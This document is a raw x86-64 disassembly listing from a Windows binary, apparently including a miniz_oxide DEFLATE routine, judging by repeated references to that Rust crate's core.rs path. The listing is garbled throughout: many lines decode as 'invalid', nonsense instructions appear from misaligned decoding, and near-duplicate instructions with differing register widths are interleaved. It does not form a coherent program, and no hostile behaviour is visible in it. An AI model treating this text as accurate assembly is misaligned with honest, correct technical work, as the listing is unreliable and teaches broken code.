cmp word [r13 + rax*4], di
cmp dword [r13 + rax*4], edi
cmp dword [rbp + rax*4], edi
jne 0x14005cb04
inc esi
dec r8d
jmp case.0x140039166.378
mov r8d, r11d
fsubr st(3)
sbb byte [rcx - 0x77], al
bnd jmp 0x14005cb1c
jmp 0x14005cb1c
mov r10d, esi
jmp 0x14005cb1c
movsxd rcx, ecx
cmp rbx, rcx
jbe 0x14005cb51
mov word [r13 + rcx*4], di
mov dword [r13 + rcx*4], edi
add bh, bh
leave
dec ecx
dec r9d
dec ecx
cmp r9d, r10d
jg 0x14005cb09
add r10d, r10d
add edx, edx
inc edi
mov r9d, r10d
jmp 0x14005cac4
cdq
cdq
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
jo 0x14005cb4c
add byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 6], 0xe8
mov edx, edi
invalid
jae 0x14005cade
mov rcx, rax
mov rdx, r15
mov edx, edi
mov edx, edi
call fcn.1401c6eb0
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
mov edx, 0x120
add byte [rax], al
jb 0x14005cb5e
add byte [rdx + 0x120], bh
add byte [rax], al
mov rcx, rax
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
jmp 0x14005cb64
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
jo 0x14005cb7b
add byte [rax - 0x77], cl
mov rcx, rax
mov ecx, eax
ror dword [rax - 0x77], 0xda
mov rdx, rbx
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
sbb eax, dword [rax]
jmp 0x14005cbd0
add eax, 0x1b7214
adc al, 0x72
sbb eax, dword [rax]
add byte [rcx + 0x120], bh
mov ecx, 0x120
mov edx, 0x120
and byte [rcx], al
add byte [rax], al
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
jno 0x14005cbac
add bl, ch
cmp al, 0x4c
lea eax, [0x140213dd8]
jmp 0x14005cbd0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
jmp 0x14005cbd0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
jmp case.0x14003c171.372
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
lea eax, [0x140213c28]
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
jmp 0x14005cb64
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
sbb eax, dword [rax]
jmp 0x14005cc17
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
jo 0x14005cbdc
sbb eax, dword [rax]
add bl, ch
popfq
jmp case.0x14003c171.372
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
mov ecx, 0x21
mov edx, 0x21
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
add eax, 0x1b70ef
jmp case.0x14003c171.372
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
jmp 0x14005cc17
sub byte [rbp + rcx*4 + 5], cl
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
jo 0x14005cc10
add bl, ch
invalid
jmp 0x14005cc17
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
jmp case.0x14003c171.372
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
add eax, 0x1b704d
jo 0x14005cc25
add cl, ch
push rcx
invalid
jmp case.0x14003c171.372
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
mov rcx, r10
jmp 0x14005cb64
add byte [rdx + 0x120], bh
mov edx, 0x120
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
add eax, 0x1b710e
invalid
call fcn.1401c7190
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
mov rcx, rdx
mov rdx, rbx
call fcn.1401c6f20
iretd
invalid
invalid
add ah, cl
iretd
movabs byte [0x4928ec8348cc0016], al
mov ecx, edx
mov r9, rdx
cmp rdx, 0x121
jae 0x14005cc6d
add byte [rbx + 0xb], dh
mov rax, rcx
mov rdx, r9
mov edx, ecx
mov edx, ecx
add rsp, 0x28
ret
mov edx, 0x120
and byte [rcx], al
add byte [rax], al
mov rcx, r9
call fcn.1401c6f20
cmpsb byte [rsi], byte [rdi]
invalid
invalid
add ah, cl
cmpsb byte [rsi], byte [rdi]
movabs byte [0x40ec834856cc0016], al
push rsi
sub rsp, 0x40
in al, dx
invalid
mov rax, r9
mov qword [rsp + 0x30], rdx
and al, 0x30
mov qword [rsp + 0x38], 0x140
mov qword [rsp + 0x28], r8
invalid
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x28
invalid
sub byte [rbx + rcx*4 + 9], al
mov r9d, dword [rcx]
test r9, r9
je 0x14005cd16
mov rsi, rcx
cmp r9d, 3
jae 0x14005ccc2
add word [rax + 0x480], r9w
mov byte [rax + 0x4c000004], al
lea eax, [0x140213ba8]
lea r8, [0x140213ba8]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
jmp 0x14005cd06
cmp r9d, 0xb
or esi, dword [rbx + 0x16]
inc word [rax + 0x4a2]
jae 0x14005ccde
invalid
add r9b, 0xfd
lea r8, [rsp + 0x26]
mov byte es:[r8], 0x11
mov byte es:[r8], 0x11
mov byte [rax], 0x11
jmp 0x14005ccf2
inc dword [rax + 0x4a4]
add r9b, 0xf5
sal ebp, 0x4c
lea eax, [rsp + 0x26]
mov byte [r8], 0x12
mov byte [rax], 0x12
mov byte [r8 + 1], r9b
lea rcx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
push rsp
and al, 0x28
sub byte [rcx - 0x47], al
add al, byte [rax]
add byte [rax], al
mov r9d, 2
call case.0x14002e130.419
jbe 0x14005cd0a
add byte [rax], al
add byte [rcx - 0x7bfe4f3f], cl
mov ecx, eax
mov al, 1
test cl, cl
leave
leave
jne 0x14005cd18
and dword [rsi], 0
xor eax, eax
ror byte [rax - 0x7d], 0xc4
pop rsi
add rsp, 0x40
add esp, 0x40
pop rsi
ret
sub esp, 0x40
in al, dx
mov rax, r9
mov rax, r9
mov rax, r9
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x30], edx
xor byte [rax - 0x39], cl
and al, 0x38
mov qword [rsp + 0x38], 0x140
mov qword [rsp + 0x28], r8
and al, 0x28
add dword [rax], eax
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x28
mov r9d, dword [rcx + 4]
test r9, r9
add al, 0x4d
test ecx, ecx
je 0x14005cdad
mov rsi, rcx
cmp r9d, 3
jae 0x14005cd74
stc
add esi, dword [rbx + 0x29]
movzx ecx, byte [rsi + 8]
add word [rax + rcx*2 + 0x480], r9w
add byte [rax + rax], 0
add byte [rax + rax], 0
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x25
lea r8, [rsp + 0x25]
mov byte [r8], cl
mov byte [r8 + 1], cl
mov byte [rax + 1], cl
mov byte [r8 + 2], cl
mov byte [rax + 2], cl
add cl, byte [rax - 0x73]
add cl, byte [rax - 0x73]
lea rcx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
and al, 0x30
xor byte [rax - 0x73], cl
push rsp
and al, 0x28
lea rdx, [rsp + 0x28]
jmp 0x14005cd9c
inc word [rax + 0x4a0]
add r9b, 0xfd
lea r8, [rsp + 0x25]
movabs al, byte [0x4cfdc18041000004]
lea eax, [rsp + 0x25]
mov byte [r8], 0x10
add byte [rax], dl
adc byte [rbp - 0x78], al
mov byte [r8 + 1], r9b
lea rcx, [rsp + 0x30]
and al, 0x30
add qword [rax - 0x73], rcx
and al, 0x30
lea rdx, [rsp + 0x28]
mov r9d, 2
mov ecx, 2
add byte [rax], al
add al, ch
loopne 0x14005cd9f
invalid
call case.0x14002e130.419
add byte [rax], al
add byte [rcx - 0x7bfe4f3f], cl
invalid
mov al, 1
invalid
add byte [rax], al
mov ecx, eax
sal dword [rax + 0x75c98401], 6
mov al, 1
test cl, cl
leave
leave
jne 0x14005cdaf
invalid
and dword [rsi + 4], 0
xor eax, eax
ror byte [rax - 0x7d], 0xc4
pop rsi
add rsp, 0x40
invalid
pop rsi
ret
push rdi
push rbx
sub rsp, 0x30
mov rax, rcx
enter 0xffffffffffff8b48, 0x74
and al, 0x70
enter 0xffffffffffff8b48, 0x74
and al, 0x70
mov rcx, qword [rsi]
mov rdi, rcx
invalid
add rdi, rdx
setb r10b
cmp rdi, r9
seta bl
or bl, r10b
jne 0x14005cdfc
xchg edi, eax
ret
add r8, rcx
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
retf 0x1b6d
add byte [rax - 0x77], cl
and al, 0x20
invalid
enter 0xffffffffffff8d48, 0xd
retf 0x1b6d
add byte [rax - 0x77], cl
and al, 0x20
invalid
and byte [rcx + rcx*4 - 0x3f], cl
mov rcx, r8
mov r8, rax
mov eax, eax
mov r9, rdx
call fcn.1401c59a4
mov qword [rsi], rdi
stosd dword [rdi], eax
mov edx, dword [rsi]
add byte [rax - 0x77], cl
mov eax, ebx
mov dword [rsi], edi
mov eax, ebx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov ecx, 0x120
add byte [rax], al
mov rcx, rdx
mov rdx, r8
mov r8, rax
call fcn.140085969
nop
add rsp, 0x28
invalid
sub bl, al
invalid
add byte [rax], al
mov rcx, rdx
mov ecx, edx
mov rdx, rax
jmp fcn.1400412d1
invalid
sub esp, 0x28
sub byte [rcx + 0x39], cl
cmp r8, rdx
cmp eax, edx
sal byte [rbx + 0x13], 1
jae 0x14005ce5f
lea rax, [r8 + 1]
cmp rax, rdx
jae case.0x140085b76.423
movzx eax, word [rcx + r8]
add rsp, 0x28
add dword [rax - 0x7d], ecx
invalid
add esp, 0x28
ret
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
imul ebx, dword [rbx], 0
mov rcx, r8
mov r8, rax
call fcn.1401c6eb0
invalid
invalid
invalid
movabs al, byte [0x1b6bf8058d4c0016]
add byte [rax - 0x77], cl
mov ecx, eax
invalid
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcdeflatecore.rs
add eax, 0x1b6bf8
clc
imul ebx, dword [rbx], 0
mov rcx, rax
mov ecx, eax
call fcn.1401c6eb0
int3
movabs al, byte [0x4d28ec8348cc0016]
sub rsp, 0x28
mov r10, r9
mov edx, ecx
mov edx, ecx
mov rax, r8
mov eax, eax
mov r8, qword [rcx]
mov r9, qword [rcx + 8]
or byte [rax - 0x75], cl
or cl, byte [rax - 0x77]
and al, 0x20
and al, 0x20
or byte [r8 - 0x75], cl
or cl, byte [rax - 0x77]
and al, 0x20
and al, 0x20
and al, 0x20
and byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 0x2e], 0xe8
mov edx, edx
invalid
mov rcx, rax
mov rdx, r10
mov edx, edx
mov edx, edx
call fcn.14005cdb5
nop
add rsp, 0x28
sub bl, al
adc bh, bh
invalid
sub bl, al
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x108
or byte [rcx], al
add byte [rax], al
or byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rcx - 0x77], cl
mov esi, edx
mov r14, rdx
mov esi, edx
mov r15, rcx
mov ebp, dword [rsp + 0x188]
add byte [rax], al
add byte [rax], al
add byte [rbx + rcx*4 - 0x6c], cl
and al, 0x80
add dword [rax], eax
invalid
mov r10, qword [rsp + 0x180]
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdi*2], ah
js 0x14005ceda
add byte [rax], al
mov edx, ebp
and edx, 4
mov rax, qword [rsp + 0x178]
mov edx, ebp
and edx, 4
xor esi, esi
mov rcx, rax
mov ecx, eax
test byte [rax - 0x77], 0xc1
mov ecx, eax
sub rcx, 1
cmovb rcx, rsi
cmovb ecx, esi
neg edx
sbb rsi, rsi
sbb esi, esi
sbb esi, esi
cmp r10, rax
ja 0x14005e779
jle case.0x140033b27.383
add byte [rax], al
jle case.0x140033b27.383
add byte [rax], al
or rsi, rcx
lea rdx, [rsi + 1]
lea edx, [rsi + 1]
lea edx, [rsi + 1]
mov rcx, rdx
and rcx, rsi
int1
jne 0x14005e779
mov qword [rsp + 0xf8], rdx
mov rcx, qword [rsp + 0x170]
mov ecx, dword [rsp + 0x170]
and al, 0x70
add dword [rax], eax
add byte [rcx + rcx*4 + 0x4c], cl
and al, 0x68
and al, 0xf8
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov word [rax + rsi*2], fs
and al, 0x70
and al, 0x70
add dword [rax], eax
add byte [rcx + rcx*4 + 0x4c], cl
and al, 0x68
lea rdx, [r8 + r9]
mov qword [rsp + 0x100], r8
and al, 0
add dword [rax], eax
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x48
and al, 0
add dword [rax], eax
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x48
mov dword [rsp + 0x48], eax
and al, 0x48
mov qword [rsp + 0x50], rdx
and al, 0x50
mov dl, byte [r14 + 0x2ae9]
mov dl, byte [rsi + 0x2ae9]
add byte [rax], al
mov qword [rsp + 0x78], rcx
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
add byte [rax], al
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0x88
add byte [rax], al
add byte [rcx - 0x75], cl
xchg al, ah
loopne 0x14005cf82
add byte [rax], al
invalid
invalid
mov qword [rsp + 0x88], r10
mov rax, qword [r14 + 0x28e0]
loopne 0x14005cf82
add byte [rax], al
mov ecx, dword [r14 + 0x28e8]
mov r8d, dword [r14 + 0x2904]
add byte [rax], al
mov gs, eax
sub byte [rax], al
add byte [rbp - 0x75], al
xchg byte [rcx + rbp], al
add byte [rax], al
mov r9d, dword [r14 + 0x2908]
mov r10d, dword [r14 + 0x290c]
mov edx, dword [rsi + 0x290c]
invalid
sub dword [rax], eax
add byte [rbp - 0x75], al
mov edx, dword [rsi + 0x290c]
invalid
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], ecx
and al, 0x38
mov dword [rsp + 0x3c], r8d
mov dword [rsp + 0x3c], eax
mov dword [rsp + 0x40], r9d
mov dword [rsp + 0x40], ecx
and al, 0x40
mov dword [rsp + 0x44], r10d
and al, 0x44
test bpl, 2
mov eax, 0xfc
add byte [rax], al
invalid
add bh, byte [rax + 0xfc]
add byte [rax], al
add byte [rcx + 1], bh
mov ecx, 1
cmove ecx, eax
mov dword [rsp + 0x5c], ecx
enter 0x4c89, 0x24
pop rsp
test bpl, 1
sete al
lea rcx, [r14 + 0xda0]
or eax, 0x89480000
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rcx - 0x73], cl
mov fs, word [rax]
sub dword [rax], eax
invalid
add dword [rdi], ecx
xchg esp, eax
ror byte [rcx - 0x73], 0x8e
movabs al, byte [0xc0248c894800000d]
or eax, 0x89480000
mov word [rax + rax*8], fs
or eax, 0x89480000
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rcx - 0x73], cl
mov fs, word [rax]
and byte [rcx], ch
sub dword [rax], eax
add byte [rax - 0x77], cl
mov word [rax + rdx*8], fs
and al, 0xd0
add byte [rax], al
mov qword [rsp + 0xd0], rcx
and al, 0xd0
add byte [rax], al
add byte [rcx - 0x73], cl
mov es, word [rax + 0x4800000c]
or al, 0
invalid
invalid
add byte [rax], al
lea rcx, [r14 + 0xc80]
mov qword [rsp + 0xa8], rcx
mov dword [rsp + 0xa8], ecx
or al, 0
add byte [rax - 0x77], cl
mov word [rax + rbp*4], fs
test al, 0
add byte [rax], al
lea rcx, [r14 + 0x1a20]
invalid
invalid
mov word [rax + rbp*8], fs
add byte [rax], al
invalid
mov dword [rsp + 0xa8], ecx
test al, 0
add byte [rax], al
lea rcx, [r14 + 0x1a20]
mov qword [rsp + 0xe8], rcx
add byte [rax], al
add byte [rcx - 0x73], cl
mov es, word [rax + 0x1b]
sbb eax, dword [rax]
invalid
lea rcx, [r14 + 0x1b40]
add byte [rax - 0x77], cl
mov word [rax + rsi*8], fs
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xf0], rcx
mov dword [rsp + 0xf0], ecx
add al, al
or al, 1
ror byte [rcx + rax], 0x88
and al, 0x67
invalid
mov byte [rsp + 0x67], al
lea rbx, [eip + 0x22ed3e]
lea rbx, [0x14028bd44]
lea ebx, [0x14028bd44]
add byte [rax - 0x78f0e706], al
cmp dl, 0x18
ja 0x14005e9f9
invalid
sbb dword [rax], eax
invalid
invalid
movzx eax, dl
mov dh, 0xc2
movsxd rax, dword [rbx + rax*4]
add rax, rbx
fdivr st(7)
invalid
fdivr st(7)
loopne case.0x140041933.201
xorps xmm0, xmm0
and qword [rsp + 0x40], 0
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
push rdi
ror byte [rax - 0x7d], 0x64
and al, 0x40
add byte [rdi], cl
sub dword [rsp + 0x30], eax
and al, 0x30
and al, 0x30
and al, 0x30
xor byte [rcx - 0x7d], cl
and qword [r14 + 0x28ec], 0
cmpsb byte [rsi], byte [rdi]
in al, dx
sub byte [rax], al
add byte [rax], al
mov eax, 1
mov dword [r14 + 0x28f4], eax
mov dword [rsi + 0x28f4], eax
mov dword [rsi + 0x28f4], eax
mov dword [r14 + 0x2900], eax
add byte [rcx], ch
add byte [rax], al
add byte [rdx - 0x7698dbbc], cl
ret 0xbaeb
mov al, byte [rsp + 0x67]
mov edx, eax
mov edx, eax
jmp case.0x14005de95.3
mov r9d, dword [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
and al, 0x48
and al, 0x48
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
and al, 0x30
mov r10d, ecx
sub r10d, eax
sub edx, eax
retf 0x2941
sub edx, eax
jae 0x14005dd69
add byte [rcx + rdi - 0x36], cl
cmp rdx, r9
cmp edx, ecx
je 0x14005e7ff
add byte [rdi + rcx - 0x4a], al
adc cl, byte [rax - 1]
movzx r10d, byte [rdx]
inc rdx
invalid
inc edx
ret 0xd349
shl r10, cl
or r8, r10
mov qword [rsp + 0x30], r8
and al, 0x30
and al, 0x30
add ecx, 8
mov dword [rsp + 0x38], ecx
ror dword [rax], 0x89
and al, 0x38
jmp case.0x14005925e.26
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
cmp byte [rax - 0x75], cl
push rsp
and al, 0x48
mov r9, qword [rsp + 0x50]
and al, 0x50
mov r8, qword [rsp + 0x30]
and al, 0x30
xor byte [rcx - 0x77], al
retf 0x2941
mov r10d, ecx
sub r10d, eax
jae 0x14005dd99
cmp rdx, r9
cmp edx, ecx
je case.0x140042804.154
test byte [rdi], dh
invalid
movzx r10d, byte [rdx]
inc rdx
ret 0xd349
loop case.0x140039166.369
or eax, edx
mov qword [rsp + 0x30], r8
mov dword [rsp + 0x30], eax
adc cl, byte [rax - 1]
ret 0xd349
mov dword [rsp + 0x30], eax
and al, 0x30
add ecx, 8
mov dword [rsp + 0x38], ecx
jmp case.0x14005925e.23
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x38]
mov r9, qword [rsp + 0x48]
invalid
mov r8, qword [rsp + 0x50]
mov r8, qword [rsp + 0x50]
and al, 0x50
mov rdx, qword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
mov r10d, ecx
sub r10d, eax
ret 0x830f
jae 0x14005ddc9
cmp r9, r8
je 0x14005e808
add byte [rax], al
add byte [rax], al
movzx r10d, byte [r9]
movzx edx, byte [rcx]
inc r9
shl r10, cl
or rdx, r10
ror byte [rax - 0x77], cl
push rsp
and al, 0x30
xor byte [rbx + 0x4c8908c1], al
and al, 0x38
xor byte [rbx + 0x4c8908c1], al
and al, 0x38
or byte [rcx - 0x14c7dbb4], cl
ror byte [rbx - 0x76c7dbbc], 1
and al, 0x38
mov ecx, eax
and cl, 7
shr qword [rsp + 0x30], cl
jmp case.0x14005925e.16
and al, 0x38
mov ecx, eax
and cl, 7
shr qword [rsp + 0x30], cl
and eax, 0xfffffff8
mov dword [rsp + 0x38], eax
and al, 0x38
cmp byte [rbx + 0x402464], al
and dword [rsp + 0x40], 0
and al, 0x40
add byte [rdx - 0x13b16fb], dh
invalid
add byte [rdx - 0x13b16fb], sil
mov dl, 5
jmp case.0x14005de95.3
invalid
invalid
invalid
invalid
invalid
mov rdi, qword [rsp + 0x48]
mov r13, qword [rsp + 0x50]
mov rax, r13
sub rax, rdi
call 0x188fdfaa0
cmp eax, 4
invalid
cmp rax, 4
add al, 0xf
invalid
jb 0x14005dece
insd dword [rdi], dx
or eax, 0x8b4c0000
mov r15, qword [rsp + 0x80]
mov esp, 0x8024
add byte [rax - 0x75], cl
pushfq
and al, 0x88
mov byte [rax], al
add byte [rax], al
mov rcx, r15
add byte [rax], al
mov rbx, qword [rsp + 0x88]
mov byte [rax], al
add byte [rax], al
mov rcx, r15
sub rcx, rbx
cmp rcx, 2
jb 0x14005dece
invalid
invalid
add byte [rax], al
or rax, 0xffffffff83480000
cmp rax, 0xe
jb case.0x14003c294.311
clc
invalid
cmp rcx, 0x102
ja 0x14005e0af
invalid
add byte [rdi], cl
xchg dword [rbx], ebx
sldt word [rax]
invalid
add byte [rbx + 0x4c38245c], cl
mov edi, dword [rsp + 0x30]
mov ebx, dword [rsp + 0x38]
mov r15, qword [rsp + 0x30]
cmp byte [rbx + rcx*4 + 0x7c], cl
and al, 0x30
cmp rbx, 0x1d
ja case.0x14002e84a.410
mov eax, dword [rdi]
add rdi, 4
mov ecx, ebx
shl rax, cl
loopne 0x14005d1f8
or edi, eax
mov qword [rsp + 0x30], r15
or ebx, 0x20
retf
invalid
mov dword [rsp + 0x38], ebx
jl 0x14005d1d9
xor byte [rbx + 0x5c8920cb], al
and al, 0x38
retf
lea r12, [rsp + 0xdc]
add byte [rax], al
mov rcx, r12
mov rdx, r14
loope 0x14005d215
mov edx, esi
mov r8, r15
clc
call 0x14005eeb3
cmp dword [r12], 0
cmp al, 0x24
add byte [rdi], cl
invalid
invalid
invalid
add byte [rax], al
invalid
cmp al, 0x24
add byte [rdi], cl
test byte [rdi - 0x74fffff3], bh
lodsb al, byte [rsi]
or eax, 0xac8b0000
add byte [rbx + 0xe024ac], cl
add byte [rax], al
mov ebp, dword [rsp + 0xe0]
and al, 0xe0
add byte [rax], al
add byte [rbx + 0xe4248c], cl
and al, 0xe4
invalid
mov ecx, dword [rsp + 0xe4]
and al, 0xe4
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x4940246c], cl
shr edi, cl
out dx, eax
mov dword [rsp + 0x40], ebp
insb byte [rdi], dx
and al, 0x40
shr r15, cl
out dx, eax
mov qword [rsp + 0x30], r15
xor byte [rcx], ch
sub ebx, ecx
mov dword [rsp + 0x38], ebx
cmp byte [rdi], cl
mov edx, 0x820f08e5
invalid
mov cl, 0x11
adc dword [rax], eax
invalid
retf
cmp byte [rdi], cl
mov edx, 0x820f08e5
invalid
mov cl, 0x11
adc dword [rax], eax
invalid
adc dword [rax], eax
add byte [rbp + rcx*4 - 0x5c], cl
and al, 0x90
add byte [rax], al
add byte [rcx + rcx*4 - 0x1f], cl
lea r12, [rsp + 0x90]
lea esp, [rsp + 0x90]
mov rcx, r12
mov ecx, esp
mov rdx, r14
mov r8, r15
mov eax, edi
mov r8, r15
mov eax, edi
call 0x14005eeb3
xchg ebp, eax
sbb al, 0
add byte [rax], al
cmp dword [r12], 0
je 0x14005df9d
mov ecx, dword [rsp + 0x98]
add byte [rax], al
cmp dword [r12], 0
je 0x14005df9d
add byte [rax], al
mov ecx, dword [rsp + 0x98]
and al, 0x98
add byte [rax], al
add byte [rcx - 0x2d], cl
out dx, eax
shr r15, cl
shr edi, cl
mov r12d, dword [rsp + 0x94]
add byte [rax], al
mov qword [rsp + 0x30], r15
sub ebx, ecx
mov dword [rsp + 0x38], ebx
lea rcx, [rsp + 0x78]
and al, 0x78
and al, 0x78
mov edx, ebp
call fcn.14005eef7
bt r12d, 8
movsd dword [rdi], dword [rsi]
sbb al, 0
add byte [rcx + 0xf], al
mov edx, 0x820f08e4
invalid
invalid
jb 0x14005e3c0
invalid
lea rcx, [rsp + 0x78]
mov edx, r12d
call fcn.14005eef7
add byte [rbx + 0x18824ac], cl
add byte [rax], al
loop 0x14005d24e
lea ebx, [rax + rax]
add byte [rbx + 0x18824ac], cl
add byte [rax], al
jmp 0x14005d151
invalid
mov edi, dword [rsp + 0x48]
and al, 0x48
mov rbx, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x50]
mov eax, dword [rsp + 0x40]
and al, 0x40
cmp eax, dword [r14 + 0x2918]
sbb byte [rcx], ch
add byte [rax], al
jae 0x14005d2c7
cmp cl, byte [rbx + 0x4838244c]
mov ecx, dword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
mov r8d, ecx
or r8d, 8
or byte [rbx + 0x467303f9], al
cmp ecx, 3
jae 0x14005d2e8
invalid
cmp rdi, rbx
cmp rdi, rbx
cmp edi, ebx
je 0x14005e7bf
movzx r9d, byte [rdi]
movzx ecx, byte [rdi]
inc rdi
shl r9, cl
or rdx, r9
or edx, ecx
or edx, ecx
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x30], edx
push rsp
and al, 0x30
invalid
xor byte [rcx + rcx*4 + 0x44], al
and al, 0x38
mov dword [rsp + 0x38], r8d
mov ecx, r8d
jmp 0x14005d29d
mov dword [r14 + 0x2918], 0x13
xchg byte [rax], bl
sub dword [rax], eax
add byte [rbx], dl
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, dword [rax]
add byte [rax], al
lea rdx, [rsp + 0x30]
push rsp
and al, 0x30
mov rcx, r14
call fcn.14005eb03
cmp al, 3
add esi, dword [rbp + 0x3f]
add esi, dword [rbp + 0x3f]
jmp 0x14005e858
jo 0x14005d2fb
add byte [rax], al
add byte [rcx - 0x77], cl
ror byte [rcx - 0x3f], 1
shr r8, 3
mov qword [rsp + 0x30], r8
mov r8, rdx
mov eax, edx
shr r8, 3
mov qword [rsp + 0x30], r8
add ecx, 0xfffffffd
mov dword [rsp + 0x38], ecx
and al, 0x38
cmp eax, 0x13
jae 0x14005ea61
sbb dword [rbp + 0x17], 0
invalid
sbb dword [rbp + 0x17], 0
add byte [rax - 0x73], cl
lea rcx, [0x140213f28]
lea rcx, [0x140213f28]
add byte [rdi], cl
mov dh, 0xc
or byte [rax - 0x77bef81e], al
xchg esp, eax
invalid
movzx ecx, byte [rax + rcx]
and dl, 7
mov byte [r14 + rcx + 0x27c0], dl
invalid
add byte [rax], al
inc eax
mov dword [rsp + 0x40], eax
xor eax, eax
rol byte [rax + rax*8 - 0xa97bf1], 0xff
dec dword [rdi]
mov dh, 0xc0
test al, al
je 0x14005d280
invalid
invalid
invalid
movzx eax, al
cmp eax, 1
jne 0x14005e85a
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], rdi
and al, 0x48
lea rbx, [0x14028bd44]
and al, byte [rax]
jmp case.0x14005de95.3
mov rax, qword [rsp + 0x48]
and al, 0x48
cmp rax, qword [rsp + 0x50]
cmp rax, qword [rsp + 0x50]
cmp eax, dword [rsp + 0x50]
je 0x14005e854
lea rcx, [rax + 1]
mov qword [rsp + 0x48], rcx
movzx r8d, byte [rax]
mov ecx, dword [r14 + 0x28ec]
mov ecx, dword [rsi + 0x28ec]
mov eax, ecx
shl eax, 8
add byte [rcx - 0x75], al
mov gs, esp
sub byte [rax], al
add byte [rcx + 0x8e0c1c8], cl
loopne 0x14005d378
or eax, r8d
mov r9d, 0x1f
xor edx, edx
invalid
add byte [rcx], dh
rol byte [rcx - 9], cl
int1
div r9d
div ecx
mov dword [r14 + 0x28f0], r8d
and r8d, 0x20
lock sub byte [rax], al
add byte [rcx - 0x7d], al
loopne 0x14005d3a9
or r8d, edx
or eax, edx
ror byte [rcx + 0xfe083c8], 1
